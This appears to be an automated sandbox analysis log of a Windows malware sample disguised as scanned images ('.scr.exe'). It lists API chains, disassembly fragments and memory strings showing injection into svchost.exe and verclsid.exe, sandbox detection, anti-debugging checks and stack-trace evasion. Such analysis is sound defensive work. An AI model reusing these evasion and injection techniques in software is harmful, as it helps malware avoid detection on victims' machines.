Source:	Binary string: wntdll.pdbUGP source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1699361176.0000000003BD0000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1701122516.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1729825920.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1731375904.0000000003700000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1838981604.0000000004EB6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.0000000005060000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.00000000051FE000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1836979825.0000000004D01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1699361176.0000000003BD0000.00000004.00001000.00020000.00000000.sdmp, Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1701122516.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1729825920.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829963241.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1731375904.0000000003700000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, verclsid.exe, 00000003.00000003.1838981604.0000000004EB6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.0000000005060000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3549867531.00000000051FE000.00000040.00001000.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.1836979825.0000000004D01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: verclsid.pdbGCTL source: svchost.exe, 00000001.00000003.1798236689.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829844647.0000000003200000.00000004.00000020.00020000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000002.3548785048.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3550509142.000000000568C000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.000000000333C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2126594180.000000000FEAC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: verclsid.pdb source: svchost.exe, 00000001.00000003.1798236689.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1829844647.0000000003200000.00000004.00000020.00020000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000002.00000002.3548785048.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3550509142.000000000568C000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.000000000333C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2126594180.000000000FEAC000.00000004.80000000.00040000.00000000.sdmp

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004542DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004542DE

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00470A76 push ecx; ret	0_2_00470A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E80C push edx; iretw	1_2_0041E831
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418036 push edx; retf	1_2_0041803B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D0FD push edx; retf	1_2_0040D121
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E898 push edx; iretw	1_2_0041E831
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411953 push FFFFFFCFh; iretd	1_2_00411974
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004031A0 push eax; ret	1_2_004031A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418215 push esp; iretd	1_2_00418217
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040C32C push eax; iretd	1_2_0040C32E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413B38 push ebp; retf	1_2_00413B4E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D3EA push ebp; ret	1_2_0040D3EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413BF6 push cs; iretd	1_2_00413BF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401DE2 push eax; retf	1_2_00401DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041A6D5 push eax; retf	1_2_0041A6DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00404EBD push edi; ret	1_2_00404EF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00404F00 push edi; ret	1_2_00404EF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004177C5 pushfd ; retn F88Bh	1_2_004177C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D7EB push es; iretd	1_2_0040D7F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390225F pushad ; ret	1_2_039027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039027FA pushad ; ret	1_2_039027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039309AD push ecx; mov dword ptr [esp], ecx	1_2_039309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390283D push eax; iretd	1_2_03902858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03901368 push eax; iretd	1_2_03901369
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050627FA pushad ; ret	3_2_050627F9
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0506225F pushad ; ret	3_2_050627F9
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050909AD push ecx; mov dword ptr [esp], ecx	3_2_050909B6
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0506283D push eax; iretd	3_2_05062858
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05061368 push eax; iretd	3_2_05061369
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302E7B0 push FFFFFFCFh; iretd	3_2_0302E7D1
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03034622 pushfd ; retn F88Bh	3_2_0303461F
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_030325CE push ds; retf	3_2_030325D9

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0046F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0046F98E
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004E1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004E1C41

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-95967

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	API/Special instruction interceptor: Address: 1573774
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\verclsid.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00416628 rdtsc

1_2_00416628

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	API coverage: 3.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\verclsid.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\verclsid.exe TID: 7724	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe TID: 7724	Thread sleep time: -96000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe TID: 7904	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe TID: 7904	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe TID: 7904	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe TID: 7904	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\verclsid.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\verclsid.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C68EE FindFirstFileW,FindClose,	0_2_004C68EE
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_004C698F
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004BD076
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004BD3A9
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_004C9642
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_004C979D
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_004C9B2B
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004BDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004BDBBE
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_004C5C97
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0303C650 FindFirstFileW,FindNextFileW,FindClose,	3_2_0303C650

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004542DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004542DE

Source: zalkpCfMwtnpQo.exe, 00000007.00000002.3548850540.000000000149F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000008.00000002.2127771986.000001110FEAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00416628 rdtsc

1_2_00416628

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417733 LdrLoadDll,

1_2_00417733

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004CEAA2 BlockInput,

0_2_004CEAA2

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_00482622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00482622

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004542DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004542DE

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00474CE8 mov eax, dword ptr fs:[00000030h]	0_2_00474CE8
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_015723D0 mov eax, dword ptr fs:[00000030h]	0_2_015723D0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_015739E0 mov eax, dword ptr fs:[00000030h]	0_2_015739E0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_01573A40 mov eax, dword ptr fs:[00000030h]	0_2_01573A40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]	1_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]	1_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928397 mov eax, dword ptr fs:[00000030h]	1_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]	1_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]	1_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E388 mov eax, dword ptr fs:[00000030h]	1_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395438F mov eax, dword ptr fs:[00000030h]	1_2_0395438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395438F mov eax, dword ptr fs:[00000030h]	1_2_0395438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]	1_2_039DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]	1_2_039DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_039DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE3DB mov eax, dword ptr fs:[00000030h]	1_2_039DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D43D4 mov eax, dword ptr fs:[00000030h]	1_2_039D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D43D4 mov eax, dword ptr fs:[00000030h]	1_2_039D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EC3CD mov eax, dword ptr fs:[00000030h]	1_2_039EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]	1_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]	1_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]	1_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039383C0 mov eax, dword ptr fs:[00000030h]	1_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B63C0 mov eax, dword ptr fs:[00000030h]	1_2_039B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039663FF mov eax, dword ptr fs:[00000030h]	1_2_039663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039403E9 mov eax, dword ptr fs:[00000030h]	1_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C310 mov ecx, dword ptr fs:[00000030h]	1_2_0392C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]	1_2_03A08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A08324 mov ecx, dword ptr fs:[00000030h]	1_2_03A08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]	1_2_03A08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A08324 mov eax, dword ptr fs:[00000030h]	1_2_03A08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950310 mov ecx, dword ptr fs:[00000030h]	1_2_03950310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]	1_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]	1_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A30B mov eax, dword ptr fs:[00000030h]	1_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov ecx, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B035C mov eax, dword ptr fs:[00000030h]	1_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA352 mov eax, dword ptr fs:[00000030h]	1_2_039FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D8350 mov ecx, dword ptr fs:[00000030h]	1_2_039D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B2349 mov eax, dword ptr fs:[00000030h]	1_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D437C mov eax, dword ptr fs:[00000030h]	1_2_039D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0634F mov eax, dword ptr fs:[00000030h]	1_2_03A0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E284 mov eax, dword ptr fs:[00000030h]	1_2_0396E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E284 mov eax, dword ptr fs:[00000030h]	1_2_0396E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]	1_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]	1_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0283 mov eax, dword ptr fs:[00000030h]	1_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402A0 mov eax, dword ptr fs:[00000030h]	1_2_039402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402A0 mov eax, dword ptr fs:[00000030h]	1_2_039402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]	1_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]	1_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]	1_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]	1_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C62A0 mov eax, dword ptr fs:[00000030h]	1_2_039C62A0
